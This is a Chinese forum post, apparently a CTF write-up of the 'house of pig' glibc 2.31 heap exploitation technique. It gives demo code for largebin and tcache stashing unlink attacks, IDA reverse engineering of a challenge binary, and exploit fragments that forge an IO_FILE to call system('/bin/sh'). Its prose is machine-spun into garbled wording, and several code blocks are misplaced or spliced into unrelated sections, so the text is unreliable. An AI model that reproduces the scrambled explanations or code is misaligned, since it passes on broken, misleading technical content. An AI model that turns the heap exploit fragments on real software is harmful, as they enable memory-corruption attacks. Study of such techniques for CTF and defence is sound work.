house of pig详解

闲聊 闲聊 1732 人阅读 | 0 人回复

<
正在复现那题之前需求了解一些前置常识:libc2.31下的largebin_attack,tcache_stashing_unlink plus和下版本glibc下的IO_FILE进犯
 

起首看到libc2.31下的largebin_attack

0x1.libc2.31下的largebin_attack

跟从how2heap项目中的largebin_attack和源码调试去进修。

从libc2.30开端,largebin的插进代码中新删了两个检查

先看到第一个面
145645b8kuoibckcnk4nyk.png

将unsortedbin插进到largebin中时,且那个unsortedbin年夜于largebin的size,此时插进历程增长了单背链表完好性检查。

凡是便是修正largebin的bk_nextsize=target_addr-0x20,然后正在插进一个比本有largebin更年夜的unsortedbin时(后背称原本的largebin为largebin1,新插进的为largebin2),正在插进过程当中,largebin1的bk_nextsize被设置为largebin1的bk_nextsize,即target_addr-0x20,后绝victim->bk_nextsize->fd_nextsize = victim那条语句,会将target_addr-0x20+0x20地位写进largebin2的所在,那是第一个面。
第两个面以下
145645mvmpqywzlht4trmm.png

那里的操纵方法是修正largebin1的bk=target_addr-0x10,bck = fwd->bk;bck->fd = victim;那两句代码施行终了后会将target_addr-0x10+0x10的地位写进largebin1的所在。

如图所示,那两处皆增加了检查。

但当要插进的unsortedbin小于largebin的size时并出有做检查,以下图
145645ztl79mrk9mmg6sjp.png

正在那里并出有停止检查,因而正在libc2.31下那里便成了新的操纵面。

demo文件以下
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<assert.h>
  4. /*
  5. A revisit to large bin attack for after glibc2.30
  6. Relevant code snippet :
  7.     if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
  8.         fwd = bck;
  9.         bck = bck->bk;
  10.         victim->fd_nextsize = fwd->fd;
  11.         victim->bk_nextsize = fwd->fd->bk_nextsize;
  12.         fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
  13.     }
  14. */
  15. int main(){
  16.   /*Disable IO buffering to prevent stream from interfering with heap*/
  17.   setvbuf(stdin,NULL,_IONBF,0);
  18.   setvbuf(stdout,NULL,_IONBF,0);
  19.   setvbuf(stderr,NULL,_IONBF,0);
  20.   size_t target = 0;
  21.   size_t *p1 = malloc(0x428);
  22.   size_t *g1 = malloc(0x18);
  23.   size_t *p2 = malloc(0x418);
  24.   size_t *g2 = malloc(0x18);
  25.   free(p1);
  26.   size_t *g3 = malloc(0x438);
  27.   free(p2);
  28.   p1[3] = (size_t)((&target)-4);
  29.   size_t *g4 = malloc(0x438);
  30.   assert((size_t)(p2-2) == target);
  31.   return 0;
  32. }
复造代码
我删失落了本文件中的一些描摹性代码,以便于寓目代码。

团体进犯思路便是申请一年夜一小两个chunk(后背称为chunk1,chunk2),先free失落chunk1,然后申请一个更年夜的chunk去将chunk1从unsortedbin中插进到largebin,接着将chunk1的bk_nextsize设置为target_addr-0x20,那是第一步;第两步,free失落chunk2,然后申请一个更年夜的chunk去将chunk2从unsortedbin中插进到largebin中,因为此时插进的chunk2的size要小于chunk1,以是会触收新的进犯流程,那里我们接纳源码调试,以便更曲不雅天进修。

正在法式施行到size_t *g4 = malloc(0x438);那一句时,堆的状况以下
145646kr2ss0i0tris9se9.png

largebin里放着0x430的chunk,unsortedbin内里则是0x420的
145646rksnlja9ihltlib2.png

145646puwtglot4l2iesne.png

chunk1的bk_nextsize被设置为了target_addr-0x20

接下去我们将断面下正在_int_malloc函数
145647xmummur0trritr9t.png

145647a2988w14sz442672.png

然后我们运转到将unsortedbin插进到largebin的代码
145647fg3tkmzaq58t5mjl.png

起首获得要插进的unsortedbin对应的largebin的index,然后获得到对应的链表头
145648vbztucnun3n669eb.png

因为此时largebin中曾经有了一个chunk,以是对应链表头的fd战bk皆被设置为了那个largebin的所在,相似于上面如许
145648lr7tjuv74mxrvg4n.png

然落后进到插进环节
145648vzakb11krgwnmpwa.png

将bck,也便是链表头赋值给fwd,将bck->bk(chunk1的所在)赋值给bck,进进到插进操纵,起首将chunk2(行将插进的chuhnk)的fd_nextsize设置为chunk1的所在
145649odelnc46cx4mm1rl.png

再将chunk2的bk_nextsize设置为chunk1的bk_nextsize,而chunk1的bk_nextsize曾经被修正为了target_addr-0x20,因而chunk2的bk_nextsize也会指背target_addr-0x20
145649jgl3iyvgn8lyq18w.png


最初一止代码用于修正chunk1的fd_nextsize战bk_nextsize为chunk2的所在,因为设置chunk1的fd_nextsize是经由过程

victim->bk_nextsize->fd_nextsize去设置的,而victim->bk_nextsize指背的是一个毛病的所在,施行完那条赋值语句后便会正在target_addr+0x20的地位上写进chunk2的所在

145649xt6f9377l4986763.png

至此便完成了相似于libc2.23下的unsortedbin attack,往随便所在写进一个堆所在。
0x2.tcache_stashing_unlink plus

此种操纵方法能够达成随便所在处罚配一个chunk

demo以下
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <inttypes.h>
  4. static uint64_t victim[4] = {0, 0, 0, 0};
  5. int main(int argc, char **argv){
  6.     setbuf(stdout, 0);
  7.     setbuf(stderr, 0);
  8.     char *t1;
  9.     char *s1, *s2, *pad;
  10.     char *tmp;
  11.     printf("You can use this technique to get a tcache chunk to arbitrary address\n");
  12.     printf("\n1. need to know heap address and the victim address that you need to attack\n");
  13.     tmp = malloc(0x1);
  14.     printf("victim&#39;s address: %p, victim&#39;s vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
  15.         &victim, victim[0], victim[1], victim[2], victim[3]);
  16.     printf("heap address: %p\n", tmp-0x260);
  17.     printf("\n2. change victim&#39;s data, make victim[1] = &victim, or other address to writable address\n");
  18.     bin->bk = bck;
  19. bck->fd = bin;
  20.     printf("victim&#39;s vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
  21.         victim[0], victim[1], victim[2], victim[3]);
  22.     printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
  23.     printf("Here, I choose the size 0x60\n");
  24.     for(int i=0; i<5; i++){
  25.         t1 = calloc(1, 0x50);
  26.         free(t1);
  27.     }
  28.     printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
  29.         t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
  30.     printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
  31.     s1 = malloc(0x420);
  32.     printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
  33.     pad = malloc(0x20);
  34.     printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
  35.     free(s1);
  36.     printf("Free chunk %p to unsortedbin\n", s1);
  37.     malloc(0x3c0);
  38.     printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
  39.     malloc(0x100);
  40.     printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
  41.     printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
  42.     printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
  43.     printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
  44.     s2 = malloc(0x420);
  45.     pad = malloc(0x80);
  46.     free(s2);
  47.     malloc(0x3c0);
  48.     malloc(0x100);
  49.     printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
  50.     printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
  51.     printf("\n5. overwrite the first chunk in smallbin[4]&#39;s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
  52.     printf("Change %p&#39;s bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
  53.     *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
  54.     printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
  55.     calloc(1, 0x50);
  56.     printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
  57.         &victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
  58.     printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
  59.     uint64_t *r = (uint64_t*)malloc(0x50);
  60.     r[0] = 0xaa;
  61.     r[1] = 0xbb;
  62.     r[2] = 0xcc;
  63.     r[3] = 0xdd;
  64.     printf("victim&#39;s vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
  65.         victim[0], victim[1], victim[2], victim[3]);
  66.     return 0;
  67. }
复造代码
接着往前遍历,与倒数第两个chunk,借会停止单背链表的完好性检查
145649rymxnkymxyzzj7zh.png

145650cvdwm20wk9z0hz99.png

  1. #define last(b)      ((b)->bk)
复造代码
那两条代码将最初一个chunk解链,施行后规划以下
145650o8dja2w0t6w253y8.png

然后运转到那里
145650a4pvhv8p47hiq0ii.png

size_t tc_idx = csize2tidx (nb);会先计较出此时申请的chunk的size对应于tcache的哪一条链
145650cd7d9tc77dstctt9.png

假如那条链的tcache中另有空余且smallbin也有chunk
145651fd6lrysz7vl6dy76.png

145651mbywrp3yiqnrcwz3.png

合意前提,然后掏出smallbin中的最初一个chunk
145651dcptrauixlmsstnt.png

  bck = tc_victim->bk;//与倒数第两个smallbin,但tc_victim->bk曾经被我们设置为了&victim-0x10
  set_inuse_bit_at_offset (tc_victim, nb);
  if (av != &main_arena)
      set_non_main_arena (tc_victim);
  bin->bk = bck;
  bck->fd = bin;//将倒数第一个chunk解链
顺次运转上述代码
145651x94mja1p4g116mko.png

bck假如我们阐发一样,是&victim-0x10
145652cciju393tt3ibzkc.png

链表头的bk指针指背了&victim-0x10
145652hyuchycjwhy3fcre.png

bck->fd=bin,即&victim-0x10+0x10=&victim被设置为了bin头,解链后规划以下
145652in3krftyftg8yr8r.png

以后再将tc_victim放进tcache

放进前
145652atu5jjrkqdktfkqk.png

放进后
145653i0ue0oqp6ezvepzq.png

看到那里信赖各人便大要能大白为何那个进犯手段能够随便所在分派一个chunk了,此时tcache中借剩一个空位,法式会持续从smallbin中与chunk放进tcache,此时smallbin中只剩下victim,我们持续调试
145653r1vvej1jfznm1peq.png

新一轮的tc_victim为&victim-0x10

接下去会找到倒数第两个chunk
145653l0g70s0x7xzrxmsg.png

因而我们需求将&victim-0x10+0x18处设置为一个可写所在x,便利后背往其中写bin头所在,而demo一开端便将其设置好了。
145653vq9q792iquuvxbtb.png

  1. bin->bk = bck;
  2. bck->fd = bin;
复造代码
后绝的便是持续解链,然后将victim参加到tcache
145654h5wuofq03tzs2vwi.png

至此进犯完成
0x3.下版本下的_IO_FILE操纵

正在2.23下普通进犯FILE规划体便是挟制IO函数的_chain字段为我们假造的IO_FILE_plus,然后修正vtable表中的io_str_overflow为system。正在下版本libc下,如libc2.31下也仍然是操纵io_str_overflow那个函数,但io_str_overflow函数的完成发作了变化
  1. victim[1] = (uint64_t)(&victim);
复造代码
能够看到io_str_overflow挪用了malloc,memcpy,free等函数

我们回溯一下malloc的参数new_size的滥觞
  1. int
  2. _IO_str_overflow (FILE *fp, int c)
  3. {
  4.   int flush_only = c == EOF;
  5.   size_t pos;
  6.   if (fp->_flags & _IO_NO_WRITES)
  7.       return flush_only ? 0 : EOF;
  8.   if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
  9.     {
  10.       fp->_flags |= _IO_CURRENTLY_PUTTING;
  11.       fp->_IO_write_ptr = fp->_IO_read_ptr;
  12.       fp->_IO_read_ptr = fp->_IO_read_end;
  13.     }
  14.   pos = fp->_IO_write_ptr - fp->_IO_write_base;
  15.   if (pos >= (size_t) (_IO_blen (fp) + flush_only))
  16.     {
  17.       if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
  18.     return EOF;
  19.       else
  20.     {
  21.       char *new_buf;
  22.       char *old_buf = fp->_IO_buf_base;
  23.       size_t old_blen = _IO_blen (fp);
  24.       size_t new_size = 2 * old_blen + 100;
  25.       if (new_size < old_blen)
  26.         return EOF;
  27.       new_buf = malloc (new_size);
  28.       if (new_buf == NULL)
  29.         {
  30.           /*      __ferror(fp) = 1; */
  31.           return EOF;
  32.         }
  33.       if (old_buf)
  34.         {
  35.           memcpy (new_buf, old_buf, old_blen);
  36.           free (old_buf);
  37.           /* Make sure _IO_setb won&#39;t try to delete _IO_buf_base. */
  38.           fp->_IO_buf_base = NULL;
  39.         }
  40.       memset (new_buf + old_blen, &#39;\0&#39;, new_size - old_blen);
  41.       _IO_setb (fp, new_buf, new_buf + new_size, 1);
  42.       fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
  43.       fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
  44.       fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
  45.       fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
  46.       fp->_IO_write_base = new_buf;
  47.       fp->_IO_write_end = fp->_IO_buf_end;
  48.     }
  49.     }
  50.   if (!flush_only)
  51.     *fp->_IO_write_ptr++ = (unsigned char) c;
  52.   if (fp->_IO_write_ptr > fp->_IO_read_end)
  53.     fp->_IO_read_end = fp->_IO_write_ptr;
  54.   return c;
  55. }
复造代码
假如我们能掌握(fp)->_IO_buf_end - (fp)->_IO_buf_base就可以够掌握malloc申请的chunk大小,再看到后背那一段
  1. size_t new_size = 2 * old_blen + 100;
  2. size_t old_blen = _IO_blen (fp);
  3. #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
复造代码
假如old_buf指背的内乱存空间无数据,则将利用memcpy将old_buf中的数据拷贝到new_buf中,拷贝的少度为old_blen,然后再free (old_buf);

再看到_IO_str_overflow的汇编
145654qfbne5bdzgdzzgde.png

正在+53那一止,会将[rdi+0x28]处的值收到rdx中,而自从libc2.29开端,setcontext中的gadget索引由rdi变成了rdx,需求先掌握rdx的值才气够停止后绝的srop

_IO_str_overflow中的那条汇编恰好能够将rdx停止赋值,且滥觞仍是rdi,rdi恰好是FILE规划体的尾所在,只需求将fp+0x28设置为我们能够掌握的所在就能够停止srop,且那条语句是正在malloc之前施行的,以是操纵办法便是:起首将malloc_hook设置为setcontext+61,然后触收_IO_str_overflow,事前正在我们假造的FILE规划体中设置好响应的数据,从而将rdx赋值为我们能够掌握的所在,接着_IO_str_overflow挪用malloc触收setcontext,停止srop。

触收malloc的前提以下
  1. if (old_buf)//char *old_buf = fp->_IO_buf_base;
  2.         {
  3.           memcpy (new_buf, old_buf, old_blen);
  4.           free (old_buf);
  5.           /* Make sure _IO_setb won&#39;t try to delete _IO_buf_base. */
  6.           fp->_IO_buf_base = NULL;
  7.         }
复造代码
0x4.house of pig

libc版本为2.31,用c++写的
0x1.建复switch table

IDA反编译,检察main函数
145654ay4646jl2ca5z6o4.png

看到一条 __asm { jmp rax },那是由于IDA出能准确辨认switch跳转,建复一下,看到汇编
145654aqskqq2nkwk9woq2.png

jmp rax的所在正在0x3794,跳转表正在0x69e0
145655qfrm867l8zwer1f7.png

跳转表是一字节一字节的,持续按d修正成四字节一组,一共有6个跳转
145655y2ozlng0ccc9002g.png

接下去开端建复跳转表,起首选中jmp rax那条汇编,再按以下途径拔取specify switch idiom
145655bcwbw0r0we2h4wl6.png

设置以下
145655hpgp27izpqflgif7.png

由上至下别离为

跳转表的所在;跳转的数目;每个跳转值的少度;基值;跳转开端的地位;跳转利用的存放器;/;默许跳转地位。

建复胜利后以下所示
145656iosfvvkxs1h6dpcs.png

满意了很多。
0x2.规复规划体

开端阐发法式

随意面开法式开首的一个函数
145656xrk00rqqq5s4uglv.png

一串赋值0的操纵,没有大白甚么意义,持续往下

找到菜单
145656p9z1pb2edbjfwedf.png

一共有五个功用,删查改删和切换人物

面开case 1对应的函数,也便是add函数
145656tggvxvhvuuiuuhoc.png

 内里嵌套着一个switch,面开case1对应的函数看看
145657khiirii6h633ofiq.png


相称难看,很多对所在停止的操纵,这类状况尽量规复法式的规划体便利后绝阐发,先大抵阐发一下那个函数的流程。

最多能申请20次,申请的chunk的大小要年夜于便是0x90小于便是0x430.并且每次申请的chunk的size皆要年夜于便是上一次所申请的。申请堆块用的是calloc函数,calloc没有从tcache中与。
  1. fp->_flags=0;//if (fp->_flags & _IO_USER_BUF) return EOF;/* not allowed to enlarge */
  2. fp->_IO_write_ptr=srop_addr
  3. /*
  4. 0x0   _flags
  5. 0x8   _IO_read_ptr
  6. 0x10  _IO_read_end
  7. 0x18  _IO_read_base
  8. 0x20  _IO_write_base
  9. 0x28  _IO_write_ptr
  10. 0x00007ffff7e2f0dd <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
  11. */
  12. #----- tcache_stashing_unlink_attack and FILE attack
  13. Change(1)
  14. payload = &#39;A&#39;*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
  15. Edit(8, payload + &#39;\n&#39;)
  16. #A8本来是0x190的chunk,然后被切割为了0xf0战0xa0的chunk,因为uaf,edit A8能够间接修正到0xa0的smallbin的fd战bk
  17. #tcache_stashing_unlink plus的操纵前提便是正在没有修正fd的状况下将bk修正为目的地点-0x10,我们的目的地点是free_hook-0x10,因而要将bk修正为free_hook-0x20
  18. Change(3)
  19. payload = &#39;\x00&#39;*0x18 + p64(heap_base+0x147c0)
  20. payload = payload.ljust(0x158, &#39;\x00&#39;)
  21. Add(0x440, payload) # C3 change fake FILE _chain
  22. #io_list_all被笼盖为了0x440的largebin的地点,我们将那个largebin申请返来,正在此中设置下一个chain,并正在那个chain指背的chunk中假造IO_FILE
  23. Add(0x90, &#39;C&#39;*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache
  24. #触收tcache_stashing_unlink_attack,将free_hook-0x10链进tcache中
  25. IO_str_vtable = libc_base + 0x1ED560
  26. system_addr = libc_base + libc.sym[&#39;system&#39;]
  27. fake_IO_FILE = 2*p64(0) #按照我们前里阐发的,fp->flag=0
  28. fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
  29. fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
  30. #满意fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
  31. fake_IO_FILE += p64(0)
  32. fake_IO_FILE += p64(heap_base+0x148a0)                #v4 _IO_buf_base
  33. fake_IO_FILE += p64(heap_base+0x148b8)                #v5 _IO_buf_end
  34. fake_IO_FILE = fake_IO_FILE.ljust(0xb0, &#39;\x00&#39;)
  35. fake_IO_FILE += p64(0)                    #change _mode = 0
  36. fake_IO_FILE = fake_IO_FILE.ljust(0xc8, &#39;\x00&#39;)
  37. fake_IO_FILE += p64(IO_str_vtable)        #change vtable
  38. payload = fake_IO_FILE + &#39;/bin/sh\x00&#39; + 2*p64(system_addr)
  39. sa(&#39;Gift:&#39;, payload)
  40. #利用脚色三也便是daddy申请到C4时会有一个gift
  41. Menu(5)
  42. sla(&#39;user:\n&#39;, &#39;&#39;);
  43. memcpy (new_buf, fp->_IO_buf_base, (fp)->_IO_buf_end - (fp)->_IO_buf_base);
  44. free (fp->_IO_buf_base);
复造代码
假如size正当的话,便将size赋值给*(_DWORD *)(unk_9070 + 0x150LL),那个unk_9070 中寄存的是mmap出去的一块内乱存的所在。
  1. *(_DWORD *)(unk_9070 + 0x150LL) = v8;
复造代码
那一段觅址看的没有明晰,我们修正一下那个函数传进的参数的范例
145657ui488b8rr5315h5s.png

 本来是int64范例,我们将其修正为char * ,正在参数上按y修正范例
145657rxyu7w7l9it74lda.png

修正完后上里那一段便酿成了以下所示
145657ruy1k51yeeqkrr3l.png

如许子看起去便比上里那段看起去分明一些,将a1[4 * i + 0xC0]赋值为size,将a1[i + 0x120]a1[i + 0x138]皆赋值为0.

持续往下看
145658yllwibx77uqwssqs.png

size/0x30,也便是将申请的chunk以0x30大小切片,每次皆往切片的顶部读进0x10个字节的数据。

那个函数到那便算阐发得好未几了,但假如我们要规复法式利用的规划体,那些疑息借不够,持续阐发其他函数。

再看到add功用的case 2

case 2的函数取case1对应的函数只要几处纷歧样
145658mk04g3sxhle8ye00.png

size寄存到mmap中的地位变了
145658ltvz3q04g4yyv4ya.png

将chunk切片以后没有再是从顶部写进,而是从偏偏移0x10处开端写

case3对应的函数不同的地方也是正在那两处,便没有再道了。

由add功用能够推测,add功用传进的参数该当是一个规划体,
  1. *(_DWORD *)(a1 + 4 * (i + 48LL)) = v8;
  2. *(_BYTE *)(a1 + i + 288) = 0;
  3. *(_BYTE *)(a1 + i + 312) = 0;
复造代码
再看到view功用
145658si274xqzd94iij4i.png

起首断定*(int *)(unk_9070 + 0x404LL)的值能否年夜于0,然后仍然有三个函数,进进第一个函数
145659wxmxftz3up1swm1f.png

输进一个序号,然后会有以下三个断定
  1. *(_QWORD *)&a1[8 * i] = calloc(1uLL, v8); //存储堆地点
  2. *(_DWORD *)&a1[4 * i + 0xC0] = v8; //存储chunk size
  3. a1[i + 0x120] = 0; //意义没有明
  4. a1[i + 0x138] = 0;//意义没有明
复造代码
合意那三个前提便会输出对应chunk的值

别的两个函数也底子分歧

看到edit功用
145659qgwv9t189qtwgxgd.png

战view功用一样,开首会检查一个齐局变量的值*(int *)(unk_9070 + 0x408LL)能否年夜于0,年夜于0才会进进到edit的子函数中,检察第一个函数
145659oz2yjb9qfnz2o282.png

仍然有三个断定,战view的断定是相同的,经由过程断定的话便会从头往chunk中写进数据,也是先切片再写数据,战add功用中的逻辑一样

看到delete功用
145700ws3hzxdvw30us33s.png

delete功用出有次数的限定,进进第一个子函数
145700q2vsf194sw29f1g9.png

delete功用仍然有三个检查
  1. *(_QWORD *)&a1[8 * v4] //判定chunk能否存正在
  2. *(_DWORD *)&a1[4 * v4 + 0xC0] //判定对应的size能否存正在
  3. !a1[v4 + 0x120]
复造代码
检查chunk能否存正在,检查!a1[v4 + 0x120] !a1[v4 + 0x120]那两个地位能否为0,经由过程检查的话则停止free,并将两个标记地位1,但并未将堆指针浑0。

前四个功用阐发终了,第五个功用稍后再道,我们先经由过程那四个功用规复出法式利用的规划体

总结以下
  1.规划体最少需求存储20*8=0xa0的堆所在
  2.借需求存储20*4=0x50的size数据
  3.view,edit功用利用了a1[v4 + 0x120]处的标记位
  4.delete功用利用了a1[v4 + 0x138]战a1[v4 + 0x120]处的标记位,也便是规划体该当有两个标记位数组,数组元素大小为1字节,因而规划体借需求存储20*1*2=0x28大小的标记位
初步推测规划体该当以下所示
  1. *(_QWORD *)&a1[8 * v4]
  2. && !a1[v4 + 0x120]
  3. && !a1[v4 + 0x138]
复造代码
但如许子实在是有毛病的,回到add功用
145700gk4acibk4bc2878h.png

堆所在是从规划体的头部开端存储的,而size数据则是从规划体偏偏移0xc0开端存储的,假如只存储20个堆所在的话,那末只占用0xa0的大小,size该当从0xa0开端存储;要使size从0xc0开端存储,则堆所在存储的上限应为0xc0/0x8=0x18个,一样的,size,flag,flagg的存储上限也应为0x18(各人能够自止计较一下,上限为0x18的话各类偏偏移便皆恰好合意),如许的话规划体该当以下
  1. struct house
  2. {
  3.     char *list[20];
  4.     int size[20];
  5.     char flag[20];
  6.     char flagg[20];
  7. };
复造代码
计划好规划体以后就能够往ida中增加了
145700zuszhk4d6rvzazrr.png

面到local types界里
145701tzgsxn9xs4xssl46.png

左键挑选insert
145701d1qb1sk11k51bbfa.png

间接输进规划体代码
145701sgdglvqvvgl9vl0y.png

local types中会呈现我们自定义的规划体范例

我们再回到add功用,修正参数范例
145701sks74m43srv4seie.png

将其修正为house *范例
145702v5dddd5cfvvf5a40.png

修正胜利

我们再接着把法式顶用到了那个规划体的函数的参数范例通通修正

好比我们正在一开端面出来的谁人一年夜堆赋值0的函数,修正完后便酿成了上面如许
145702e0j08bw66nt6brdh.png

分明了亿面面

其他需求修正为house规划体的地位我便纷歧一修正给各人看了,能够自止操纵

但,法式中没有行存正在那一个规划体,正在add功用中
145702ixml154iu6lo0y0l.png

很较着,0x9070的值指背的空间也是一个规划体,我们接下去对那个规划体停止规复

正在法式一开端,有那么一个函数
145703h2zvtvtll3vcplj6.png

将0x9070指背地位的数据拷贝到house规划体中,并且每个memcpy函数拷贝的大小皆是house规划体不同成员的大小

如今我们持续往下看到功用5 Change roles
145703vf88xzvbubkxxzx8.png

让我们输进密码,挪用strlen得出密码的少度,挪用sub_13C9那个函数
  1. struct house{    char *list[0x18];    int size[0x18];    char flag[0x18];    char flagg[0x18];};
复造代码
那一串十六进造数是md5减稀的特征,后背的sub_2916sub_2A8B也便不消看了,理想上便是将我们输进的密码停止md5减稀,然后将md5减稀后的数据战设置的好的md5值停止比照,停止比力的前提有三个
145703crqzyr8mqj8w4zaj.png

合意随便一个便可进进到if代码块中,那里需求留意的是,前两个比力利用的是memcmp,而第三个比力利用的是strcmp,strcmp存正在0字符截断成绩,我们看到dword_6928
145703x7qyiptaqi8hwre2.png

那串md5的开首存正在\x00,以是正在战那串md5值比力的时分理想上会提早截断,因而我们要找的只是以0x3c4400开首的md5对应的本值

我们再看到if代码块,if中的代码会断定我们输进的密码的第一个字符为A,B,C中的哪个,然后返回1或2或3去切换角色。

按照以上的阐发,假如我们念要切换角色,输进的密码需求以A,或B或C开首,且颠末md5减稀后需求以0x3c4400开首,如许的一串md5的本值仍是有一些的,写了个烂剧本,便嗯爆破,正在9位数字内乱各找到了合意前提的密码
  1. unsigned __int64 __fastcall sub_13C9(_DWORD *a1)
  2. {
  3.   unsigned __int64 v2; // [rsp-10h] [rbp-10h]
  4.   v2 = __readfsqword(0x28u);
  5.   *a1 = 0;
  6.   a1[1] = 0;
  7.   a1[2] = 0x67452301;
  8.   a1[3] = 0xEFCDAB89;
  9.   a1[4] = 0x98BADCFE;
  10.   a1[5] = 0x10325476;
  11.   return __readfsqword(0x28u) ^ v2;
  12. }
复造代码
假如徒弟们有更好的法子的话期望能辅导一下(太菜了)

明白了怎样变动角色当前再持续往下看
145704ac2cfr128hng612f.png

会按照返回的角色值去停止switch挑选要施行的函数,进进case1检察一下
145704k9mfbte50rlgzw82.png

将house规划体的数据拷贝到qword_9070

看到case2
145704rsp4wrnaos5ww1sj.png

一样的功用,只不过拷贝的目的所在发作了变化,case3也是一样的

到那里为行,我们先考虑规复qword_9070指背的规划体,很较着,按照那三个case,我们能够揣度出那个规划体(后背称为tmp_house)最少有3个house规划体的大小,但另有一些小细节需求留意,回看到add功用

case1
145704e28x3odj5ou6ozy2.png

case2
145705m5n1j1n555q9dnmv.png

正在tmp_house规划体中借需求存储当前size的大小,每个角色皆有一个对应的current_size,因而tmp_house借应正在原本的3个house规划体的大小上正在增加3个int范例的大小,但那仍然不够

正在view功用中
145705xfw8ae2w5bhg9nb9.png

tmp_house规划体中借需求记载可以view的次数,留意,那里qword_9070+0x101,并非道正在偏偏移为0x101的地位处,借需求看到前里是int范例的指针,是四字节,以是理想上该当是0x101*4=0x404的偏偏移,上里的current_size也是如此。

正在edit功用中
145705bvvvzz8b6mkrp08v.png

tmp_house规划体中借需求记载可以edit的次数

因而,tmp_house规划体该当以下
  1. import hashlib
  2. def main():
  3.     start = "3c4400"
  4.     while True:
  5.         for i in range(100000000):
  6.             s=&#39;A&#39;+str(i)
  7.             #s=&#39;B&#39;+str(i)
  8.             #s=&#39;C&#39;+str(i)
  9.             print "Test %s " % s
  10.             if hashlib.md5(s).hexdigest().startswith(start):
  11.                 f=open(&#39;list&#39;,&#39;w&#39;)
  12.                 f.write(s+&#39;\n&#39;)
  13.                 f.close()
  14. if __name__ == &#39;__main__&#39;:
  15.     main()
  16. &#39;&#39;&#39;
  17. A39275120
  18. B3332073
  19. C75929410
  20. &#39;&#39;&#39;
复造代码
正在ida中创立规划体,看看我们的揣测能否准确

add功用
145705we06awdrdixr7226.png

145706pchxf3fu0q3x55b0.png

edit功用
145706eonzgopp1004964s.png

胜利

规划体规复便到此为行了,如今再去阐发法式便会满意很多(揭了很多多少图,期望徒弟们看得分明些)
0x3.破绽阐发

颠末了上一阶段的阐发,我们曾经大抵梳理了一遍法式的逻辑,如今去总结一下,并弥补上里出有道到的

起首,那个法式有三个角色能够挑选,正在三个角色之间能够往返切换。正在法式的开首会将三个角色各自的规划体的两个标记位皆浑0,法式运转起去后默许是利用的peppa那个角色,每一个角色皆有删删查改切换那五个功用,正在view战edit功用中会检查第一个标记位flag能否为0,为0的状况下才气够停止相干操纵;delete功用会检查flag战flagg那两个标记位能否皆为0,皆为0才会停止free,free以后将flag战flagg标记地位1,但并出有浑空堆指针,以是那里能够会存正在uaf;随后是切换角色的流程,假设我们从peppa切换到mummy
145706ekizkh4izz744u0l.png

假如next_character_num!=character_num,便会先将当前的角色的house规划体存储到global_house中,看到save_peppa_house那个函数
145706b6b65pf623mbb4j8.png

认真察看,是否是少了些甚么?house有两个标记位,flag战flagg,但那里只将flagg标记位保留了下去,持续往下看
145706e545i4hem5xiy4zy.png

接着按照next_character_num去规复现场
145707dien11n51frr42y2.png

正在recover_peppahouse函数中将global_house中一切的数据皆拷贝到了对应角色的house规划体中,而global_house中的对应的flag标记位是0,也便是道,当我们利用peppa那个角色free了一个chunk以后,flag=1,flagg=1,且那个chunk的指针出有浑0,再切换到mummy,只会将flagg标记位停止存储,我们再切换回peppa那个角色,便会将global_house中的flag标记位赋值给house,如许一去peppa_house的flag=0,flagg=1,除不克不及再次delete,view战edit功用皆可使用,也便是一个uaf破绽。其他的角色也是一样,往返切换一次能够形成一个uaf。
0x4.破绽操纵

法式利用calloc去申请chunk,因而没法利用tcache attack,并且申请的chunk要年夜于0x90,也没法利用fastbin attack(没有知能否可使用largebin_attack去进犯global_max_fast?)
  house of pig素质上是经由过程 libc2.31 下的 largebin attack和 FILE 规划操纵,去配合 libc2.31 下的 tcache stashing unlink attack 停止组开操纵的办法
团体思路以下:

